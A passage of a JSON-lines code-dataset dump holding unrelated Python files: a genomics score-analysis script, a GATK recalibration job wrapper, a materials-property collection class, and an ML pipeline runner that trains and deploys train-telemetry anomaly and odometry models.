print(a)\n b = merged_gmd_mis_df[merged_gmd_mis_df['in_gnomAD'] == False]['score']\n print(b)\n a_w = np.empty(a.shape)\n a_w.fill(1/a.shape[0])\n b_w = np.empty(b.shape)\n b_w.fill(1/b.shape[0])\n ax.hist(a, bins, color = 'blue', weights = a_w, label = 'in gnomAD', alpha = 0.5)\n ax.hist(b, bins, color = 'red', weights = b_w, label = 'not in gnomAD', alpha = 0.5)\n plt.xlabel('Score')\n plt.ylabel('Probability')\n plt.suptitle(gene)\n plt.savefig('figures/isgnomAD/' + gene + '_isgnomAD_hist.png')\n plt.close(fig)\n\n # write them out to file for later investigation/debugging\n posdf.to_csv(os.path.join(urn_dir,urn + '_possible.csv'))\n imposdf.to_csv(os.path.join(urn_dir,urn + '_impossible.csv'))\n\n # perform some basic statistics\n mean_score_all = df['score'].mean()\n mean_score_pos = posdf['score'].mean()\n mean_score_impos = imposdf['score'].mean()\n\n std_score_all = df['score'].std()\n std_score_pos = posdf['score'].std()\n std_score_impos = imposdf['score'].std()\n\n delta_pos_impos = mean_score_pos - mean_score_impos\n\n poslist = posdf['score'].tolist()\n imposlist = imposdf['score'].tolist()\n\n ks_stat, ks_p = ks_2samp(poslist,imposlist,mode='exact')\n\n r_poslist = FloatVector(poslist)\n r_imposlist = FloatVector(imposlist)\n\n r_result = r_stats.ks_test(r_poslist, r_imposlist, exact=True)\n #print(r_result)\n r_ks_stat = r_result.rx('statistic')[0][0]\n r_ks_p = r_result.rx('p.value')[0][0]\n\n #ks_stat_exact, ks_p_exact = ks_2samp(poslist,imposlist,mode='exact')\n #print(ttest_ind(a,b,nan_policy='omit'))\n\n # create a histogram to show to difference in scores\n fig,ax = plt.subplots(1,1)\n bins = 40\n a = posdf['score']\n b = imposdf['score']\n a_w = np.empty(a.shape)\n a_w.fill(1/a.shape[0])\n b_w = np.empty(b.shape)\n b_w.fill(1/b.shape[0])\n ax.hist([a,b], bins, color = ['blue','red'], weights = [a_w,b_w], label = ['possible','impossible'])\n #ax.hist(posdf['score'], bins, color ='blue', alpha=0.5, label='possible', density=True)\n #ax.hist(imposdf['score'], bins, color ='yellow', alpha=0.5, label='impossible', density=True)\n plt.xlabel('Score')\n plt.ylabel('Probability')\n plt.suptitle('Normalized Histogram of ' + target + ' (' + urn + ')')\n if r_ks_p < 0.001:\n plt.title('K-S p value < 0.001')\n else:\n plt.title('K-S p value = ' + str(r_ks_p))\n plt.legend()\n plt.savefig(os.path.join(urn_dir, urn+'_histograms.png'))\n plt.savefig('figures/histograms/' + target + '_' + urn + '.png')\n pp.savefig(fig)\n plt.close(fig)\n \"\"\"\n # old histogram code\n fig,(ax1,ax2,ax3) = plt.subplots(3,1, sharex=True)\n ax1.hist(df['score'], bins = 40)\n ax1.set_title('all data')\n ax2.hist(posdf['score'], bins = 40)\n ax2.set_title('possible variants only')\n ax3.hist(imposdf['score'], bins = 40)\n ax3.set_title('impossible variants only')\n plt.savefig(os.path.join(urn_dir,urn + '_histograms.png'))\n plt.close(fig)\n \"\"\"\n\n output_row = [target, urn, n_multi, n_syn, n_stop, mean_score_all, std_score_all, n_all, mean_score_pos,\n std_score_pos, n_pos, mean_score_impos, std_score_impos,\n n_impos, delta_pos_impos, ks_stat, ks_p, r_ks_stat, r_ks_p]\n\n output_list.append(output_row)\n\npp.close()\npp_delta.close()\npp_syn.close()\npp_gmd.close()\n\noutput_df = pd.DataFrame(output_list[1:], columns = output_list[0])\nfinal_output = pd.merge(output_df, all_info_df, how='outer',on='urn')\nfinal_output.to_csv('output.csv',index=False)\n\n","sub_path":"mavedb/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":13866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"219634414","text":"#!/usr/bin/env python\n\nfrom omics_pipe.parameters.default_parameters import default_parameters\nfrom omics_pipe.utils import *\np = Bunch(default_parameters)\n\n\ndef GATK_BQSR(sample, extension, GATK_BQSR_flag):\n '''Recalibrate base quality scores.\n \n input:\n _WES_realigned_sorted.bam\n output:\n _gatk_recal.bam\n citation:\n \n link:\n \n parameters from parameters file:\n \n TEMP_DIR:\n \n GENOME:\n \n GATK_VERSION:\n \n R_VERSION:\n \n CAPTURE_KIT_BED:\n \n ALIGNMENT_DIR:\n \n DBSNP:\n \n MILLS:\n \n G1000:\n '''\n sample = sample + extension\n spawn_job(jobname = 'GATK_BQSR', SAMPLE = sample, LOG_PATH = p.OMICSPIPE[\"LOG_PATH\"], RESULTS_EMAIL = p.OMICSPIPE[\"EMAIL\"], SCHEDULER = p.OMICSPIPE[\"SCHEDULER\"], walltime = p.BQSR[\"WALLTIME\"], queue = p.OMICSPIPE[\"QUEUE\"], nodes = p.BQSR[\"NODES\"], ppn = p.BQSR[\"CPU\"], memory = p.BQSR[\"MEMORY\"], script = \"/GATK_BQSR.sh\", args_list = [sample, p.OMICSPIPE[\"TEMP_DIR\"], p.SAMTOOLS[\"GENOME\"], p.BQSR[\"VERSION\"], p.VARSCAN[\"R_VERSION\"], p.CAPTURE_KIT_BED, p.BQSR[\"ALIGNMENT_DIR\"], p.BQSR[\"DBSNP\"], p.BQSR[\"MILLS\"], p.BQSR[\"G1000\"]])\n job_status(jobname = 'GATK_BQSR', resultspath = p.BQSR[\"ALIGNMENT_DIR\"] + \"/\" + sample, SAMPLE = sample, outputfilename = sample + \"_gatk_recal.bam\", FLAG_PATH = p.OMICSPIPE[\"FLAG_PATH\"])\n return\n\nif __name__ == '__main__':\n GATK_BQSR(sample, extension, GATK_BQSR_flag)\n sys.exit(0)\n","sub_path":"omics_pipe/modules/GATK_BQSR.py","file_name":"GATK_BQSR.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"341922472","text":"\"\"\"\r\n Copyright (c) 2016- by Dietmar W Weiss\r\n\r\n This is free software; you can redistribute it and/or modify it\r\n under the terms of the GNU Lesser General Public License as\r\n published by the Free Software Foundation; either version 3.0 of\r\n the License, or (at your option) any later version.\r\n\r\n This software is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\r\n Lesser General Public License for more details.\r\n\r\n You should have received a copy of the GNU Lesser General Public\r\n License along with this software; if not, write to the Free\r\n Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\r\n 02110-1301 USA, or see the FSF site: http://www.fsf.org.\r\n\r\n Version:\r\n 2020-12-13 DWW\r\n\"\"\"\r\n\r\nfrom collections import OrderedDict\r\nfrom typing import List, Optional, Union\r\n\r\nfrom coloredlids.matter import ferrous\r\nfrom coloredlids.matter import gases\r\nfrom coloredlids.matter import liquids\r\nfrom coloredlids.matter import nonferrous\r\nfrom coloredlids.matter import nonmetals\r\nfrom coloredlids.property.matter import Matter\r\nfrom grayboxes.base import Base\r\n\r\n\r\nclass Matters(Base):\r\n \"\"\"\r\n Convenience class providing properties of all matter in modules:\r\n (ferrous, nonferrous, nonmetals, liquids, gases)\r\n \r\n Note:\r\n For getting a list of all available matter write:\r\n collection: matter = Matter() \r\n all_matter: str = collection('all') \r\n \"\"\"\r\n\r\n def __init__(self, identifier: str = 'Matters') -> None:\r\n \"\"\"\r\n Args:\r\n identifier:\r\n Identifier of collection of matter\r\n \"\"\"\r\n super().__init__(identifier=identifier) \r\n self.program = self.__class__.__name__\r\n\r\n classes = []\r\n matter = (ferrous, nonferrous, nonmetals, liquids, gases,)\r\n for mat in matter:\r\n classes += [class_() for key, class_ in mat.__dict__.items()\r\n if isinstance(class_, type) and \r\n key[0] != '_' and\r\n mat.__name__[0] != '_' and\r\n class_.__module__.lower() == mat.__name__.lower()]\r\n self.data = OrderedDict()\r\n for class_ in classes:\r\n self.data[class_.identifier.lower()] = class_\r\n\r\n def __call__(self, identifier: Optional[str] = None) \\\r\n -> Optional[Union[Matter, List[Matter]]]:\r\n \"\"\"\r\n Select specific matter\r\n\r\n Args:\r\n identifier:\r\n Identifier of matter.\r\n If None or 'all', then all matter will be returned\r\n\r\n Returns:\r\n Selected matter \r\n or \r\n list of all matter if identifier is None\r\n or \r\n None if identifier is invalid\r\n\r\n Example:\r\n matter = Matter()\r\n iron = matter('iron')\r\n \r\n \"\"\"\r\n if identifier is None or identifier == 'all':\r\n return self.data.values()\r\n if identifier.lower() not in self.data:\r\n self.write('??? unknown identifier of matter: ' + identifier)\r\n return None\r\n return self.data[identifier.lower()]\r\n\r\n def __str__(self) -> str:\r\n \"\"\"\r\n Returns:\r\n List of String of keys list of available matter\r\n \"\"\"\r\n return str(self.data.keys()) \r\n","sub_path":"coloredlids/matter/matters.py","file_name":"matters.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"496022656","text":"import copy\r\nimport logging\r\nimport os\r\nimport time\r\nimport signal\r\nfrom collections import defaultdict\r\nfrom functools import partial\r\nimport multiprocessing\r\nfrom typing import Dict, List, Union\r\n\r\nimport mlflow\r\nimport mlflow.keras\r\nimport mlflow.sklearn\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\n\r\nimport boto3\r\n\r\nfrom .client.mlf import MlflowClient\r\nfrom .client.nifi import Nifi\r\nfrom .config.config import CONFIG\r\nfrom .data.data_extraction import process_file\r\nfrom .data.event_creation import create_window_event\r\nfrom .data.preprocess import get_files\r\nfrom .deploy import FunctionDeployment\r\nfrom .features.build_features import process_event_files\r\nfrom .models import DEFAULT_STATE\r\nfrom .models.metrics import get_metrics\r\nfrom .models.model_processing import (class_training_data, convert_xy,\r\n create_label_mapping,\r\n create_odometry_training_data,\r\n get_train_data, predict_test, read_data,\r\n read_features)\r\nfrom .models.models import AnomalyTrainer, Dnn\r\nfrom .utils.client import create_minio_client, create_mlflow_run, create_nifi_group\r\nfrom .utils.io import makedirs, read_json, write_json\r\nfrom .utils.log_artifacts import get_artifact, log_locally, log_to_mlflow\r\nfrom .utils.utils import check_model, create_zip_filename, set_env\r\nfrom .visualization.visualize import (get_all_plots, plot_all_metrics,\r\n plot_model_acc, plot_train_val_loss,\r\n plot_train_valid_global_loss,\r\n plot_val_loss)\r\n\r\nDEFAULT_CONFIG = CONFIG\r\nCURRENT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\ntrain_config = read_json(os.path.join(CURRENT_DIR, 'train_config.json'))\r\n\r\n\r\ndef runDataExtraction():\r\n \"\"\"Convert/aggregate day level trains data into a single csv file corresponding to each train \r\n \"\"\"\r\n config = CONFIG['steps']['DataExtraction']\r\n ci = config['inputs']\r\n co = config['outputs']\r\n columns = ci['columns']\r\n nrows = ci['nrows']\r\n input_bucket = ci['bucket']\r\n no_of_files = ci['no_of_files']\r\n\r\n output_bucket = co['bucket']\r\n csv_name_prefix = co['csv_name_prefix']\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n zip_files = get_files(input_bucket, boto_client, file_type='zip')\r\n\r\n no_of_files_to_process = no_of_files if no_of_files is not None else len(\r\n zip_files)\r\n for zip_file in tqdm(zip_files[:no_of_files_to_process], total=no_of_files_to_process):\r\n process_file(zip_file, input_bucket, output_bucket, minioClient, columns,\r\n nrows=nrows, output_csv_name_prefix=csv_name_prefix)\r\n\r\n\r\ndef runEventCreation():\r\n \"\"\"Create event files, having milliseconds data of running train at every interval of one minute \r\n \"\"\"\r\n config = CONFIG['steps']['EventCreation']\r\n ci = config['inputs']\r\n co = config['outputs']\r\n\r\n min_window_size = ci['min_window_size']\r\n change_speed_by = ci['change_speed_by']\r\n speed_ratio = ci['train_zero_speed_ratio']\r\n datetime_limit = ci['datetime_limit']\r\n csv_name_prefix = ci['csv_name_prefix']\r\n input_bucket = ci['bucket']\r\n window_event_bucket = ci['window_event_bucket']\r\n window_events_file = ci['window_events_file']\r\n\r\n output_bucket = co['bucket']\r\n event_dir = co['event_dir']\r\n filename_include = co['filename_include']\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n csv_files = get_files(input_bucket, boto_client,\r\n file_type='csv', prefix='filtered')\r\n csv_files = ['filtered/7016_2020-09-09.csv']\r\n create_window_event(files=csv_files,\r\n input_bucket=input_bucket,\r\n output_bucket=output_bucket,\r\n minio_client=minioClient,\r\n min_window_size=min_window_size,\r\n ouput_dir=event_dir,\r\n window_event_bucket=window_event_bucket,\r\n window_events_file=window_events_file,\r\n csv_name_prefix=csv_name_prefix,\r\n change_speed_by=change_speed_by,\r\n train_zero_speed_ratio=speed_ratio,\r\n datetime_limit=datetime_limit,\r\n filename_include=filename_include)\r\n\r\n\r\ndef runCreateFeatures():\r\n \"\"\"Create 39 features on minute level across all the dimensions\r\n \"\"\"\r\n config = CONFIG['steps']['CreateFeatures']\r\n ci = config['inputs']\r\n co = config['outputs']\r\n\r\n filename_include = ci['filename_include']\r\n speed_vars = ci['speed_vars']\r\n sample_value = ci['sample_value']\r\n nominal_feature_name = ci['nominal_feature_name']\r\n input_bucket = ci['bucket']\r\n event_dir = ci['event_dir']\r\n\r\n output_bucket = co['bucket']\r\n features_dir = co['features_dir']\r\n save_features_path = co['features_path']\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n # pkl_files = get_files(input_bucket, boto_client,\r\n # file_type='pkl', prefix=event_dir)\r\n\r\n pkl_files = ['events1min/0_2020-02-03.zip']\r\n process_event_files(files=pkl_files,\r\n input_bucket=input_bucket,\r\n output_bucket=output_bucket,\r\n features_dir=features_dir,\r\n save_features_path=save_features_path,\r\n minio_client=minioClient,\r\n speed_vars=speed_vars,\r\n sample_value=sample_value,\r\n filename_include=filename_include,\r\n nominal_feature_name=nominal_feature_name)\r\n\r\n\r\ndef runAnomalyTraining(features_dir: str,\r\n file_path: str = None,\r\n vehicle_id: Union[List[Union[str, int]], str, int] = None,\r\n deploy: bool = True):\r\n \"\"\"Anomaly model training on all the trains\r\n\r\n Parameters\r\n ----------\r\n features_dir : str\r\n Directory of features as minio bukcet object\r\n file_path : str, optional\r\n file name of features presented in directory, by default None\r\n vehicle_id : Union[List[Union[str, int]], str, int], optional\r\n train id, by default None\r\n deploy : bool, optional\r\n should model be deployed, by default True\r\n \"\"\"\r\n CONFIG = DEFAULT_CONFIG\r\n CONFIG['training'] = train_config['training']\r\n CONFIG['artifacts'] = train_config['artifacts']\r\n\r\n params = CONFIG['training']['anomaly']\r\n mlflow_params = CONFIG['artifacts']['mlflow']\r\n of_params = CONFIG['artifacts']['openfaas']\r\n nifi_params = CONFIG['artifacts']['nifi']\r\n tracking_uri = mlflow_params['endpoint']\r\n username = mlflow_params['username']\r\n password = mlflow_params['password']\r\n\r\n data = params['data']\r\n bucket = data['bucket']\r\n features_dir = data['features_dir'] if features_dir is None else features_dir\r\n file_name = data['file_path'] if file_path is None else file_path\r\n nominal_feature_name = data['nominal_feature_name']\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n zip_files = []\r\n\r\n if file_name is not None:\r\n file_path = os.path.join(features_dir, file_name)\r\n df = minioClient.get_dataframe(bucket, file_path)\r\n else:\r\n features_files = get_files(bucket, boto_client,\r\n file_type='csv', prefix=features_dir)\r\n features_df = []\r\n for feature_file in features_files:\r\n # zip_files.append(create_zip_filename(feature_file))\r\n df = minioClient.get_dataframe(bucket, feature_file)\r\n features_df.append(df)\r\n df = pd.concat(features_df)\r\n\r\n zip_files = list(set([create_zip_filename(i.split('--')[0])\r\n for i in list(df['Unnamed: 0'])]))\r\n df.set_index(data['index_col'], inplace=True)\r\n df.drop('minute_id', axis=1, inplace=True)\r\n\r\n model = check_model(params['model'])\r\n model_params = params['model_params'][model]\r\n trainer = AnomalyTrainer(model, model_params)\r\n\r\n vehicle_id = data['vehicle_id'] if vehicle_id is None else vehicle_id\r\n vehicle_ids = [vehicle_id] if not isinstance(\r\n vehicle_id, list) else vehicle_id\r\n\r\n for vid in vehicle_ids:\r\n X_train, _, df_test = get_train_data(df,\r\n vehicle_id=vid,\r\n test_ratio=data['test_ratio'],\r\n nominal_sample_frac=data['nominal_sample_frac'],\r\n nominal_feature_name=data['nominal_feature_name'])\r\n model = trainer.fit(X_train)\r\n X_test = df_test.drop([nominal_feature_name], axis=1)\r\n score = trainer.score_samples(X_test)\r\n df_test['score'] = score\r\n\r\n try:\r\n precisions, recalls, f1s, thresholds, bt, best_ind = get_metrics(\r\n df_test, nsteps=data['metrics_nsteps'])\r\n precision, recall, f1 = precisions[best_ind], recalls[best_ind], f1s[best_ind]\r\n metrics = {'precision': precision, 'recall': recall,\r\n 'f1': f1, 'bt': bt, 'best_ind': best_ind}\r\n metrics_path = plot_all_metrics(\r\n recalls, precisions, f1s, thresholds, bt)\r\n figs = [metrics_path]\r\n except Exception as e:\r\n metrics, figs = None, None\r\n print(f\"Couldn't write metrics, because of {e}\")\r\n\r\n vid = \"all\" if vid is None else vid\r\n tags = {'vehicle_id': vid}\r\n\r\n try:\r\n set_env('MLFLOW_TRACKING_USERNAME', username)\r\n set_env('MLFLOW_TRACKING_PASSWORD', password)\r\n set_env('MLFLOW_S3_ENDPOINT_URL', minio_config[\"endpoint_url\"])\r\n set_env('AWS_ACCESS_KEY_ID', minio_config[\"access_key\"])\r\n set_env('AWS_SECRET_ACCESS_KEY', minio_config[\"secret_key\"])\r\n\r\n experiment_id, run_id = create_mlflow_run('anomaly', tracking_uri)\r\n log_to_mlflow(experiment_id, run_id, tracking_uri, CONFIG, zip_files,\r\n sklearn_model=model.clf, metrics=metrics, tags=tags, figures=figs)\r\n except Exception as e:\r\n logging.error(f'Failed to log using mlflow, because of {str(e)}')\r\n log_locally(CONFIG, zip_files, sklearn_model=model.clf,\r\n metrics=metrics, tags=tags)\r\n\r\n if deploy:\r\n try:\r\n exit_code = 0\r\n artifacts_path = get_artifact('anomaly', run_id, tracking_uri)\r\n funcDeploy = FunctionDeployment(name='anomaly-prediction', gateway=of_params['gateway'],\r\n username=of_params['username'], password=of_params['password'], version=of_params['version']) \r\n funcDeploy.build_yamls(model_path=f\"{artifacts_path}/{vid}\",\r\n label_mapping_path=f\"{artifacts_path}/label_mapping.json\")\r\n exit_code = funcDeploy.deploy()\r\n\r\n if exit_code == 0:\r\n time.sleep(15)\r\n logging.info(f\"Deployed succesfulyy !\")\r\n\r\n pg_name = \"AnomalyPrediction\"\r\n openfaas_url = f\"https://openfaasgw.mobility-odometry.smart-mobility.alstom.com/function/anomaly-prediction-all\" + \\\r\n \"?filename=${filename}&bucket=${s3.bucket}\"\r\n create_nifi_group(\r\n pg_name, minio_config, of_params, nifi_params, openfaas_url, bucket, \"features\")\r\n else:\r\n logging.info(f\"Failed to deploy !\")\r\n except Exception as e:\r\n logging.error(\r\n f\"Failed to deploy, because of {e}\")\r\n\r\n\r\ndef _runOdometryTraining(file_path: str,\r\n vehicle_id: Union[List[Union[str, int]], str, int],\r\n epochs: int = None,\r\n deploy: bool = True):\r\n \"\"\"Run training for single or multiple train to classify multiple dimensions\r\n\r\n Parameters\r\n ----------\r\n file_path : str\r\n training csv file path as minio bucket object\r\n vehicle_id : Union[List[Union[str, int]], str, int]\r\n train id\r\n epochs : int, optional\r\n Number of epochs to train, by default None\r\n deploy : bool, optional\r\n should model get deployed if it's best model, by default True\r\n \"\"\"\r\n\r\n CONFIG = DEFAULT_CONFIG\r\n CONFIG['training'] = train_config['training']\r\n CONFIG['artifacts'] = train_config['artifacts']\r\n\r\n params = CONFIG['training']['odometry']\r\n mlflow_params = CONFIG['artifacts']['mlflow']\r\n of_params = CONFIG['artifacts']['openfaas']\r\n nifi_params = CONFIG['artifacts']['nifi']\r\n tracking_uri = mlflow_params['endpoint']\r\n username = mlflow_params['username']\r\n password = mlflow_params['password']\r\n\r\n data = params['data']\r\n bucket = data['bucket']\r\n features_dir = data['features_dir']\r\n model_params = params['Dnn']\r\n model_params['epochs'] = model_params['epochs'] if epochs is None else epochs\r\n\r\n minio_config = CONFIG['artifacts']['minio']\r\n minioClient = create_minio_client(minio_config[\"endpoint_url\"],\r\n access_key=minio_config[\"access_key\"],\r\n secret_key=minio_config[\"secret_key\"],\r\n secure=minio_config['secure'])\r\n\r\n boto_client = boto3.client(\"s3\",\r\n endpoint_url=minio_config[\"endpoint_url\"],\r\n aws_access_key_id=minio_config[\"access_key\"],\r\n aws_secret_access_key=minio_config[\"secret_key\"],\r\n region_name=minio_config[\"region_name\"])\r\n\r\n data['feedback_file_path'] = data['feedback_file_path'] if file_path is None else file_path\r\n\r\n if data['feedback_file_path'].endswith('.csv'):\r\n feedback_df, old_df = read_features(\r\n minioClient, bucket, data['feedback_file_path'], nominal_feature_name=data['nominal_feature_name'])\r\n else:\r\n fb_files = get_files(bucket, boto_client,\r\n file_type='csv', prefix=data['feedback_file_path'])\r\n feedback_dfs = []\r\n for fb_file in fb_files:\r\n df, old_df = read_features(minioClient, bucket, fb_file,\r\n nominal_feature_name=data['nominal_feature_name'])\r\n feedback_dfs.append(df)\r\n feedback_df = pd.concat(feedback_dfs)\r\n\r\n zip_files = list(set([create_zip_filename(i.split('--')[0])\r\n for i in list(feedback_df['Unnamed: 0'])]))\r\n feedback_df.set_index(data['index_col'], inplace=True)\r\n\r\n vehicle_id = data['vehicle_id'] if vehicle_id is None else vehicle_id\r\n vehicle_ids = [vehicle_id] if isinstance(vehicle_id, str) else vehicle_id\r\n\r\n default_status = copy.deepcopy(DEFAULT_STATE)\r\n default_status['epochs'] = model_params['epochs']\r\n status = defaultdict(dict)\r\n\r\n for vid in vehicle_ids:\r\n try:\r\n logging.info(f\"Started training for vehicle {vid}\")\r\n default_status['run_level']['Training'] = 'RUNNING'\r\n status[str(vid)] = default_status\r\n\r\n exist_status = read_json(os.path.join(CURRENT_DIR, 'state.json'))\r\n status.update(exist_status)\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n df_X, multioutput_target, X_test, y_test = class_training_data(feedback_df,\r\n validation_split=data['validation_split'],\r\n seed=data['seed'],\r\n vehicle_id=vid,\r\n dims=data['label_columns'])\r\n try:\r\n set_env('MLFLOW_TRACKING_USERNAME', username)\r\n set_env('MLFLOW_TRACKING_PASSWORD', password)\r\n set_env('MLFLOW_S3_ENDPOINT_URL', minio_config[\"endpoint_url\"])\r\n set_env('AWS_ACCESS_KEY_ID', minio_config[\"access_key\"])\r\n set_env('AWS_SECRET_ACCESS_KEY', minio_config[\"secret_key\"])\r\n\r\n experiment_id, run_id = create_mlflow_run(\r\n f'odometry_{vid}', tracking_uri)\r\n mlflowcb_params = {'experiment_id': experiment_id, 'run_id': run_id, 'tracking_uri': tracking_uri,\r\n 'vid': vid, 'status': status, 'state_dir': CURRENT_DIR}\r\n except Exception as e:\r\n logging.error(\r\n f'Failed to create run in mlflow, because of {str(e)}')\r\n mlflowcb_params = None\r\n\r\n df_X_test, multioutput_target_test = convert_xy(X_test, y_test)\r\n\r\n dnn = Dnn(**model_params, mlflowcb_params=mlflowcb_params)\r\n dnn.fit(df_X, multioutput_target, validation_data=(\r\n df_X_test, multioutput_target_test))\r\n model = dnn.model\r\n history = dnn.history.history\r\n\r\n mappings = create_label_mapping()\r\n test_predictions = predict_test(model, X_test, mappings)\r\n\r\n for c in y_test.columns:\r\n test_predictions[c] = y_test[c].tolist()\r\n\r\n save_dir = './logs/local'\r\n makedirs(save_dir)\r\n\r\n try:\r\n figures = get_all_plots(history, save_dir)\r\n except Exception as e:\r\n figures = []\r\n logging.error(f\"Failed to create plots, because of {e}\")\r\n\r\n tags = {'vehicle_id': vid}\r\n if experiment_id and run_id:\r\n log_to_mlflow(experiment_id, run_id, tracking_uri, CONFIG, zip_files, old_df, test_predictions,\r\n keras_model=model, label_mapping=mappings, tags=tags, figures=figures)\r\n else:\r\n log_locally(CONFIG, zip_files, old_df, test_predictions, keras_model=model,\r\n label_mapping=mappings, tags=tags, save_dir=save_dir)\r\n\r\n status[str(vid)]['run_level']['Training'] = 'COMPLETED'\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n perf_metrics = None\r\n save_metrics = True\r\n\r\n if save_metrics:\r\n try:\r\n status[str(vid)]['run_level']['AggregateMetrics'] = 'RUNNING'\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n mlfc = MlflowClient(tracking_uri=tracking_uri)\r\n perf_metrics = mlfc.get_perf_metrics(f\"odometry_{vid}\")\r\n minioClient.write_dict_to_minio(\r\n perf_metrics, bucket, f'results/{vid}.json')\r\n status[str(vid)]['run_level']['AggregateMetrics'] = 'COMPLETED'\r\n except Exception as e:\r\n status[str(vid)]['run_level']['AggregateMetrics'] = 'FAILED'\r\n logging.error(\r\n f\"Failed to calculate performance metrics, because of {e}\")\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n if deploy:\r\n\r\n try:\r\n status[str(vid)]['run_level']['Deployment'] = 'RUNNING'\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n pf = minioClient.get_dict(\r\n bucket, f'results/{vid}.json') if perf_metrics is None else perf_metrics\r\n artifacts_path = get_artifact(\r\n f'odometry_{vid}', run_id, tracking_uri)\r\n\r\n exit_code = 0\r\n if pf['best_run'] is None or pf['best_run'] == run_id:\r\n funcDeploy = FunctionDeployment(name='odometry-prediction', gateway=of_params['gateway'],\r\n username=of_params['username'], password=of_params['password'], version=of_params['version'])\r\n funcDeploy.build_yamls(model_path=f\"{artifacts_path}/{vid}\",\r\n label_mapping_path=f\"{artifacts_path}/label_mapping.json\")\r\n exit_code = funcDeploy.deploy()\r\n\r\n if exit_code == 0:\r\n time.sleep(15)\r\n status[str(vid)]['run_level']['Deployment'] = 'COMPLETED'\r\n logging.info(f\"STATUS: {status}\")\r\n\r\n pg_name = f\"ClassificationPrediction_{vid}\"\r\n prefix = f\"{features_dir}/{vid}\"\r\n openfaas_url = f\"https://openfaasgw.mobility-odometry.smart-mobility.alstom.com/function/odometry-prediction-{vid}\" + \\\r\n \"?filename=${filename}&bucket=${s3.bucket}\"\r\n create_nifi_group(\r\n pg_name, minio_config, of_params, nifi_params, openfaas_url, bucket, prefix)\r\n else:\r\n status[str(vid)]['run_level']['Deployment'] = 'FAILED'\r\n\r\n logging.info(f\"STATUS: {status}\")\r\n\r\n except Exception as e:\r\n status[str(vid)]['run_level']['Deployment'] = 'FAILED'\r\n logging.error(f\"Failed to deploy, because of {e}\")\r\n\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n except Exception as e:\r\n import traceback\r\n traceback.print_exc()\r\n status[str(vid)]['run_level']['Training'] = 'FAILED'\r\n write_json(status, os.path.join(CURRENT_DIR, 'state.json'))\r\n logging.error(f\"Failed training for vehicle {vid}, because of {e}\")\r\n\r\n\r\ndef runOdometryTraining(file_path: str,\r\n vehicle_id: Union[List[Union[str, int]], str, int],\r\n epochs: int = None,\r\n num_workers: int = None,\r\n deploy: bool = True):\r\n \"\"\"Run training for single or multiple train to classify multiple dimensions\r\n\r\n Parameters\r\n ----------\r\n file_path : str\r\n training csv file path as minio bucket object\r\n vehicle_id : Union[List[Union[str, int]], str, int]\r\n train id\r\n epochs : int, optional\r\n Number of epochs to train, by default None\r\n num_workers : int, optional\r\n Number of workers to train, by default it is total cpu - 2 \r\n deploy : bool, optional\r\n should model get deployed if it's best model, by default True\r\n \"\"\"\r\n\r\n write_json({}, os.path.join(CURRENT_DIR, 'state.json'))\r\n\r\n vehicle_ids = vehicle_id if isinstance(vehicle_id, list) else [vehicle_id]\r\n num_workers = multiprocessing.cpu_count() - 2 if num_workers is None else num_workers\r\n with multiprocessing.Pool(num_workers) as pool:\r\n pool.map(partial(_runOdometryTraining,\r\n file_path, epochs=epochs), vehicle_ids)\r\n","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":25858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} 